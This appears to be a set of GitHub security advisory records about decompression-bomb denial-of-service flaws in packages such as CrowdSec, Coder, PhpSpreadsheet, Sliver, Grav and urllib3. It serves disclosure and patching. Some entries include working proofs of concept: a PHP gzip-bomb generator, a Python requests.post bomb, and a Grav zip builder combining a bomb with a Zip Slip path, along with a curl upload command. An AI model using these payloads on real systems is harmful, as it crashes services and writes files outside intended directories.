CWE-409

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/crowdsecurity/crowdsec"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.7.0"
            },
            {
              "fixed": "1.7.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44981"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T19:57:28Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "The LAPI router uses `gin-contrib/gzip` with `DefaultDecompressHandle` globally (`pkg/apiserver/controllers/controller.go`).\nThis middleware decompresses incoming request bodies without enforcing a maximum decompressed size. \n\nThe endpoints `/v1/watchers` or `/v1/watchers/login` require no authentication.\nAn attacker can send small gzip-compressed JSON payloads that, when decompressed, result in hundreds of MB of valid JSON occupying server memory.\nSending enough requests concurrently will cause LAPI to allocate excessive heap memory, leading the OS to forcibly terminate the process.\n \nThis vulnerability is not exploitable from the network in default configurations, as LAPI only listens on the loopback interface.\nIf developers\u0027 applications are using a multi-server setup, LAPI will be exposed in the network, in which case they are at risk if untrusted IPs can access it.\n \n### Impact\n\nExploiting this vulnerability will make LAPI unreachable, meaning that bouncers will not be able to fetch new decisions (but existing decisions will still be enforced) and log processors will not be able to send alerts, effectively denying the creation of new decisions.\n\n### Workarounds\n\nIf the LAPI is exposed on the network (either directly or through a reverse proxy), for example in the case of a multi-server deployment, restrict access to trusted IP addresses.",
  "id": "GHSA-273h-gvwr-c3qj",
  "modified": "2026-06-12T20:24:21Z",
  "published": "2026-05-27T19:57:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/crowdsecurity/crowdsec/security/advisories/GHSA-273h-gvwr-c3qj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/crowdsecurity/crowdsec"
    },
    {
      "type": "WEB",
      "url": "https://github.com/crowdsecurity/crowdsec/releases/tag/v1.7.8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "CrowdSec LAPI: Denial of Service via Unbounded Gzip Decompression"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-66909"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-19T15:15:56Z",
    "severity": "HIGH"
  },
  "details": "Turms AI-Serving module v0.10.0-SNAPSHOT and earlier contains an image decompression bomb denial of service vulnerability. The ExtendedOpenCVImage class in ai/djl/opencv/ExtendedOpenCVImage.java loads images using OpenCV\u0027s imread() function without validating dimensions or pixel count before decompression. An attacker can upload a specially crafted compressed image file (e.g., PNG) that is small when compressed but expands to gigabytes of memory when loaded. This causes immediate memory exhaustion, OutOfMemoryError, and service crash. No authentication is required if the OCR service is publicly accessible. Multiple requests can completely deny service availability.",
  "id": "GHSA-2f87-396w-g74p",
  "modified": "2025-12-19T18:31:17Z",
  "published": "2025-12-19T15:31:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66909"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Xzzz111/public_cve_report/blob/main/CVE-2025-66909_report.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/turms-im/turms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/turms-im/turms/blob/develop/turms-ai-serving/src/main/java/ai/djl/opencv/ExtendedOpenCVImage.java#L37"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/coder/coder/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.34.0"
            },
            {
              "fixed": "2.34.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/coder/coder/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.33.0"
            },
            {
              "fixed": "2.33.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/coder/coder/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.30.0"
            },
            {
              "fixed": "2.32.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/coder/coder/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.17.0"
            },
            {
              "fixed": "2.29.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55078"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-06T21:06:45Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`POST /api/v2/files` converts zip uploads to tar in memory via `CreateTarFromZip`, which enforced a per-entry size limit but no aggregate limit on total decompressed output, writing to an unbounded in-memory buffer.\n\n\u003e **Note:** Exploitation requires authenticated file-upload access and the impact is limited to availability (denial of service).\n\n### Impact\n\nAn authenticated user could upload a zip within the 100 MiB upload limit but containing many highly compressible entries whose decompressed size exhausted memory, crashing `coderd` before any RBAC check. Repeated requests could keep the service unavailable. This is a denial of service; it does not allow data disclosure or code execution.\n\n### Patches\n\nThe fix adds a metadata preflight check that sums projected entry sizes and a streaming writer that enforces the aggregate limit during decompression.\n\nThe fix was backported to all supported release lines:\n\n| Release line | Patched version |\n|---|---|\n| 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) |\n| 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) |\n| 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) |\n| 2.29 (ESR) | [v2.29.17](https://github.com/coder/coder/releases/tag/v2.29.17) |\n\n### Workarounds\n\nRestrict file-upload permissions to trusted users or place a reverse proxy with request-body size limits in front of `coderd`.\n\n### Resources\n\n- Fix: #25877\n\n### Credits\n\nCoder would like to thank Anthropic\u0027s Security Team (ANT-2026-22438) for independently disclosing this issue!",
  "id": "GHSA-2mg2-p7r7-g27f",
  "modified": "2026-07-06T21:06:45Z",
  "published": "2026-07-06T21:06:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/coder/coder/security/advisories/GHSA-2mg2-p7r7-g27f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coder/coder/pull/25877"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/coder/coder"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Coder: Zip upload decompression lacks aggregate size limit, enabling denial of service"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.8.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.6"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.0"
            },
            {
              "fixed": "3.10.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.4.6"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.4.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.17"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.30.5"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.30.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59932"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-23T15:00:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nPhpSpreadsheet\u0027s Gnumeric reader reads attacker-supplied `.gnumeric` files into memory and, when the file starts with gzip magic bytes, calls `gzdecode()` on the full compressed contents without enforcing a decompressed-size limit. A very small compressed `.gnumeric` file can expand to data larger than the PHP memory limit and crash the process during `Gnumeric::canRead()` before the file is rejected or fully parsed.\n\nThis is reachable through normal file-type detection and Gnumeric loading paths, so applications that accept attacker-controlled spreadsheet uploads can suffer denial of service.\n\n## Vulnerability details\n\n`Gnumeric::canRead()` invokes `gzfileGetContents()` before deciding whether the file is a valid Gnumeric spreadsheet:\n\n- `src/PhpSpreadsheet/Reader/Gnumeric.php:80-90` calls `$this-\u003egzfileGetContents($filename)` from `canRead()`.\n- `src/PhpSpreadsheet/Reader/Gnumeric.php:105-115` calls `canRead()` and then reads the expanded contents again for worksheet-name listing.\n- `src/PhpSpreadsheet/Reader/Gnumeric.php:253-265` calls `canRead()` and then reads the expanded contents again for full loading.\n\nThe vulnerable expansion is in `gzfileGetContents()`:\n\n- `src/PhpSpreadsheet/Reader/Gnumeric.php:187-190` reads the entire input file into `$contents` with `file_get_contents()`.\n- `src/PhpSpreadsheet/Reader/Gnumeric.php:192-197` detects gzip magic bytes and calls `gzdecode($contents)` without a decompressed-size cap.\n- `src/PhpSpreadsheet/Reader/Gnumeric.php:204-205` scans the expanded data only after decompression has already completed.\n\nBecause decompression occurs before XML scanning or structural validation, a tiny gzip payload can force large memory allocation even if the resulting XML is meaningless or invalid.\n\n## Impact\n\nA small `.gnumeric` upload can crash a PHP worker during spreadsheet type detection or import. This can cause denial of service in web applications, queue workers, preview services, document converters, or any service that runs PhpSpreadsheet against untrusted spreadsheet files.\n\nIn the local reproduction below, a 97,811-byte file expands to about 96 MiB and crashes `Gnumeric::canRead()` under `memory_limit=64M` at `Reader/Gnumeric.php:195`.\n\n## Safe local proof of concept\n\nThis proof of concept uses only Docker with `--network none`; it creates the compressed payload inside the container and does not contact external infrastructure.\n\n```bash\ndocker run --rm --network none -i \\\n  -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \\\n  -w /app ghcr.io/typo3/core-testing-php82:1.15 sh \u003c\u003c\u0027SH\u0027\nset -eu\nphp -r \u0027\n$prefix = \"\u003c?xml version=\\\"1.0\\\"?\u003e\u003cgnm:Workbook xmlns:gnm=\\\"http://www.gnumeric.org/v10.dtd\\\"\u003e\";\n$suffix = \"\u003c/gnm:Workbook\u003e\";\n$payload = $prefix . str_repeat(\"A\", 96 * 1024 * 1024) . $suffix;\n$gz = gzencode($payload, 9);\nfile_put_contents(\"/tmp/bomb.gnumeric\", $gz);\nprintf(\"compressed_size=%d expanded_size=%d\\n\", filesize(\"/tmp/bomb.gnumeric\"), strlen($payload));\n\u0027\nphp -d memory_limit=64M -d display_errors=1 -r \u0027\nrequire \"/app/vendor/autoload.php\";\n$r = new PhpOffice\\PhpSpreadsheet\\Reader\\Gnumeric();\nvar_dump($r-\u003ecanRead(\"/tmp/bomb.gnumeric\"));\n\u0027 2\u003e\u00261 || true\nSH\n```\n\nObserved output:\n\n```text\ncompressed_size=97811 expanded_size=100663390\nPHP Fatal error:  Allowed memory size of 67108864 bytes exhausted (tried to allocate 50291378 bytes) in /app/src/PhpSpreadsheet/Reader/Gnumeric.php on line 195\nPHP Stack trace:\nPHP   1. {main}() Command line code:0\nPHP   2. PhpOffice\\PhpSpreadsheet\\Reader\\Gnumeric-\u003ecanRead($filename = \u0027/tmp/bomb.gnumeric\u0027) Command line code:4\nPHP   3. PhpOffice\\PhpSpreadsheet\\Reader\\Gnumeric-\u003egzfileGetContents($filename = \u0027/tmp/bomb.gnumeric\u0027) /app/src/PhpSpreadsheet/Reader/Gnumeric.php:84\nPHP   4. gzdecode(...) /app/src/PhpSpreadsheet/Reader/Gnumeric.php:195\n```\n\n## Suggested remediation\n\n- Do not decompress gzip data with unbounded `gzdecode()` for untrusted `.gnumeric` files.\n- Stream decompression with a strict maximum output-size limit before allocating the full expanded XML.\n- Enforce a configurable maximum compressed size and maximum decompressed size for Gnumeric files.\n- Ensure `canRead()`, `listWorksheetNames()`, `listWorksheetInfo()`, and `load()` share bounded decompression logic and avoid decompressing the same file repeatedly.\n- Fail closed with a recoverable `Reader\\Exception` when limits are exceeded, rather than allowing a PHP fatal memory error.",
  "id": "GHSA-2mrg-gjxq-2gvr",
  "modified": "2026-07-23T15:00:17Z",
  "published": "2026-07-23T15:00:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-2mrg-gjxq-2gvr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/85f2556b0bf5269061bf45932ecda8a128d81750"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PHPSpreadsheet: Gnumeric reader unbounded gzip expansion causes memory exhaustion"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/bishopfox/sliver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-25T17:36:44Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nGzipEncoder does not limit output size when processing compressed data. This allows unauthenticated remote attackers to crash sliver server by sending a http request with highly compressed gzip data (aka zip bomb).\n\n### Details\n\nIn `util/encoders/gzip.go`, `Decode()` method decompresses given data by reading the entire gzip buffer at once without limiting output size.\n\n### PoC\n\n```python\ndata = gzip.compress(bytes(1024 * 1024 * 1024)) * 16\nrequests.post(f\"http://172.17.0.2/{nonce}\", data=data)\n```\n\n### Impact\n\nUnauthenticated remote attackers can exhaust memory and cpu resource of sliver server and crash it when they have GzipEncoderID, which can be easily retrived from implant\u0027s http traffic, or by brute-forcing.\n\nA fixed version is available at https://github.com/BishopFox/sliver/releases/tag/v1.7.2.",
  "id": "GHSA-2phg-qgmm-r638",
  "modified": "2026-02-27T21:46:08Z",
  "published": "2026-02-25T17:36:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/BishopFox/sliver/security/advisories/GHSA-2phg-qgmm-r638"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BishopFox/sliver/commit/0cf5a47cfdf94b6ab481ec3ea0db09f31654c0f0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/BishopFox/sliver"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BishopFox/sliver/releases/tag/v1.7.2"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2026-4548"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Sliver has Potential Zip Bomb Denial of Service in GzipEncoder"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "2.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59193"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-16T22:12:10Z",
    "nvd_published_at": "2026-07-10T17:17:02Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nAn authenticated admin.super user can crash Grav or fill the disk by uploading a specially crafted ZIP archive through the Direct Install tool. The method `Installer::unZip()` calls `ZipArchive::extractTo()` without any limit on uncompressed size, entry count, or directory depth, enabling Zip Bomb (CWE-409), stack overflow (CWE-674), and disk/inode exhaustion.\n### Details\nThe vulnerability is in `system/src/Grav/Common/GPM/Installer.php:176-208` (`Installer::unZip()`). The `ZipArchive::extractTo()` call at line 184 is not preceded by any validation of the archive contents.\n\nMissing validation:\n- \u274c No total uncompressed size check (decompression bomb \u2014 CWE-409)\n- \u274c No entry count check (inode exhaustion)\n- \u274c No directory nesting depth check (stack overflow in `Folder::doDelete()` \u2014 CWE-674)\n\nThe subsequent cleanup call `Folder::delete($destination)` at line 189 recursively deletes every subdirectory without depth limit (`Folder.php:531-547`). A ZIP with thousands of nested directories will cause PHP\u0027s maximum nesting level to be exceeded, so the cleanup fails silently and leaves extracted files on disk.\n\nThe existing Zip Slip fix (GHSA-w48r-jppp-rcfw / CVE-2026-42607, commit 5a12f9be8) only checks for `../` in entry paths and does not add any size, count, or depth limits.\n### PoC\n1. Generate the malicious ZIP:\n\n   python3 cve_poc_grav_zip.py:\n```python\n#!/usr/bin/env python3\n\"\"\"\nCVE PoC \u2014 Grav CMS Installer::unZip()\nZip Bomb + Zip Slip + Deep Nesting\nZIP file to attach to the CVE advisory.\n\nNote: Zip Slip (../) already has CVE-2026-42607. This PoC targets the Zip Bomb (CWE-409)\nwhich has NO CVE \u2014 extracted size/depth/count have no limits.\n\"\"\"\n\nimport zipfile, os, sys\n\nOUT = \"/tmp/cve_poc_grav.zip\"\n\ndef build():\n    with zipfile.ZipFile(OUT, \u0027w\u0027, zipfile.ZIP_DEFLATED) as z:\n        # --- Zip Slip: arbitrary write outside target ---\n        z.writestr(\"../../../tmp/CVE_POC_SLIP\", \"ZIP SLIP: writes outside target\\n\")\n\n        # --- Deep nesting: 100 levels \u2192 Folder::delete() has no depth limit ---\n        for i in range(100):\n            z.writestr(f\"deep/{\u0027x/\u0027 * i}.keep\", \"\")\n\n        # --- Compression bomb: 100 identical files = ratio ~ 196:1 ---\n        for i in range(100):\n            z.writestr(f\"bomb/{i}.dat\", b\"A\" * 100_000)\n\n    with zipfile.ZipFile(OUT) as z:\n        infos = z.infolist()\n        compressed = os.path.getsize(OUT)\n        uncompressed = sum(e.file_size for e in infos)\n        slip = any(\"..\" in e.filename for e in infos)\n        depths = [e.filename.count(\u0027/\u0027) for e in infos]\n\n    print(\"=\" * 60)\n    print(\"CVE PoC \u2014 Grav CMS Installer::unZip()\")\n    print(\"Zip Bomb | Zip Slip | Deep Nesting\")\n    print(\"=\" * 60)\n    print(f\"File           : {OUT}\")\n    print(f\"ZIP size       : {compressed:,} B ({compressed/1024:.1f} KB)\")\n    print(f\"Uncompressed   : {uncompressed:,} B ({uncompressed/1024/1024:.1f} MB)\")\n    print(f\"Ratio          : {uncompressed/compressed:.0f}:1\")\n    print(f\"Entries        : {len(infos)}\")\n    print(f\"Max depth      : {max(depths) if depths else 0}\")\n    print(f\"Zip Slip (../) : {\u0027YES\u0027 if slip else \u0027NO\u0027}\")\n    print(f\"\\nUpload via Grav Admin \u2192 /admin/tools/direct-install?task=directInstall\")\n    print(f\"Result: disk exhaustion + Folder::delete() stack overflow + arbitrary write\")\nif __name__ == \"__main__\":\n    build()\n```\n\n3. Authenticate as admin.super and retrieve the nonce from /admin\n\n4. Upload through Direct Install:\n```\n   curl -X POST \u0027https://target/admin/tools/direct-install?task=directInstall\u0027 \\\n     -H \u0027Cookie: grav-admin=\u003cSESSION\u003e\u0027 \\\n     -F \u0027admin-nonce=\u003cNONCE\u003e\u0027 \\\n     -F \u0027uploaded_file=@/tmp/cve_poc_grav.zip\u0027\n```\nResult: server extracts all entries (9.5 MB \u2192 200 files + 100 nesting levels). The cleanup crashes with \"Maximum function nesting level reached\" due to 100-level deep recursion.\n### Impact\n\nAn authenticated administrator (admin.super) can:\n- Fill the server disk with highly compressed data (196:1 ratio with simple repeating data, up to 10^11:1 with nested ZIP bombs)\n- Exhaust inodes via thousands of small files\n- Trigger a PHP stack overflow via deep directory nesting that prevents cleanup, leaving files on disk permanently\n- Partially or fully deny service to all users (both authenticated and unauthenticated)",
  "id": "GHSA-2vcx-h8p2-9pg9",
  "modified": "2026-09-16T22:12:10Z",
  "published": "2026-09-16T22:12:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-2vcx-h8p2-9pg9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59193"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/23d6f2adf4ce11889c088ac8557c8314baeef781"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/releases/tag/2.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Grav CMS \u2014 Improper Handling of Highly Compressed Data in Installer::unZip()"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "urllib3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0"
            },
            {
              "fixed": "2.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-66471"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-05T18:15:54Z",
    "nvd_published_at": "2025-12-05T17:16:04Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nurllib3\u0027s [streaming API](https://urllib3.readthedocs.io/en/2.5.0/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nWhen streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation.\n\nThe decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.\n\n\n### Affected usages\n\nApplications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources.\n\n`stream()`, `read(amt=256)`, `read1(amt=256)`, `read_chunked(amt=256)`, `readinto(b)` are examples of `urllib3.HTTPResponse` method calls using the affected logic unless decoding is disabled explicitly.\n\n\n### Remediation\n\nUpgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount.\n\nIf your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the `urllib3[brotli]` extra in the patched versions of urllib3.\n\n\n### Credits\n\nThe issue was reported by @Cycloctane.\nSupplemental information was provided by @stamparm during a security audit performed by [7ASecurity](https://7asecurity.com/) and facilitated by [OSTIF](https://ostif.org/).",
  "id": "GHSA-2xpw-w6gg-jr37",
  "modified": "2025-12-05T18:33:07Z",
  "published": "2025-12-05T18:15:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/urllib3/urllib3/security/advisories/GHSA-2xpw-w6gg-jr37"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66471"
    },
    {
      "type": "WEB",
      "url": "https://github.com/urllib3/urllib3/commit/c19571de34c47de3a766541b041637ba5f716ed7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/urllib3/urllib3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "urllib3 streaming API improperly handles highly compressed data"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "MessagePack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0"
            },
            {
              "fixed": "3.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48502"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-125",
      "CWE-190",
      "CWE-407",
      "CWE-409",
      "CWE-470",
      "CWE-502",
      "CWE-674",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-25T18:35:48Z",
    "nvd_published_at": "2026-06-22T22:16:47Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`MessagePackReader.ReadDateTime()` can allocate stack memory based on an attacker-controlled MessagePack extension length. In the slow path for timestamp extension parsing, the computed `tokenSize` includes the extension body length from the wire and is used in a `stackalloc` operation before the extension length is validated as one of the valid timestamp sizes.\n\nA very small payload can claim a large timestamp extension body and cause a stack allocation large enough to trigger an uncatchable `StackOverflowException`, terminating the host process.\n\n## Impact\n\nApplications are affected when they deserialize untrusted payloads into types containing `DateTime` values. This path is available through the standard formatter set and does not require opting into typeless serialization, LZ4 compression, Unity-specific resolvers, or other specialized features.\n\n`MessagePackSecurity.UntrustedData` and `MaximumObjectGraphDepth` do not mitigate this issue because the crash is caused by a single-frame stack allocation, not by object graph recursion.\n\nAn attacker can send a MessagePack timestamp extension header with an oversized body length and insufficient body bytes. The reader enters the slow path, attempts to stack-allocate a buffer sized from that declared length, and can terminate the process before a catchable serialization exception is thrown.\n\n## Affected components\n\n- Package: `MessagePack`\n- API: `MessagePackReader.ReadDateTime`\n- Data types: `DateTime` and formatter paths that call `ReadDateTime`\n- Finding IDs: `MESSAGEPACKCSHARP-020`, related stack allocation finding `MESSAGEPACKCSHARP-CROW-MEM-001`\n\n## Patches\n\nFixes are prepared and will be released in coordinated patch versions.\n\nUpgrade guidance:\n\n1. Upgrade `MessagePack` to the patched version for your release line.\n2. Upgrade companion MessagePack packages in the same dependency graph to the coordinated patched versions.\n\nThe fix should validate timestamp extension lengths before any stack allocation. Valid MessagePack timestamp payload lengths are limited to the supported timestamp encodings, so oversized extension lengths should fail with a catchable MessagePack serialization exception before the slow path allocates a buffer.\n\n## Workarounds\n\nPatching is recommended.\n\nUntil a patched version is available, avoid deserializing untrusted MessagePack payloads into schemas that contain `DateTime` or `DateTimeOffset` values. Where possible, enforce strict maximum message sizes and reject malformed extension payloads before they reach MessagePack-CSharp.\n\nThere is no complete workaround for applications that must deserialize attacker-controlled MessagePack data containing date/time fields with affected versions.\n\n## Resources\n\n- `MESSAGEPACKCSHARP-020`: `ReadDateTime` stack allocation from attacker-controlled extension length\n- `MESSAGEPACKCSHARP-CROW-MEM-001`: related attacker-controlled stack allocation finding in `MessagePackReader`\n- CWE-770: Allocation of Resources Without Limits or Throttling\n\n## CVE split rationale\n\nThis vulnerability is independently fixable in the DateTime extension parsing path by validating extension lengths before stack allocation. It is separate from recursive stack overflows, LZ4 issues, and collection allocation bugs.",
  "id": "GHSA-382j-8mxh-c7x2",
  "modified": "2026-06-25T18:35:48Z",
  "published": "2026-06-25T18:35:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MessagePack-CSharp/MessagePack-CSharp/security/advisories/GHSA-382j-8mxh-c7x2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48502"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MessagePack-CSharp/MessagePack-CSharp"
    }
  ],
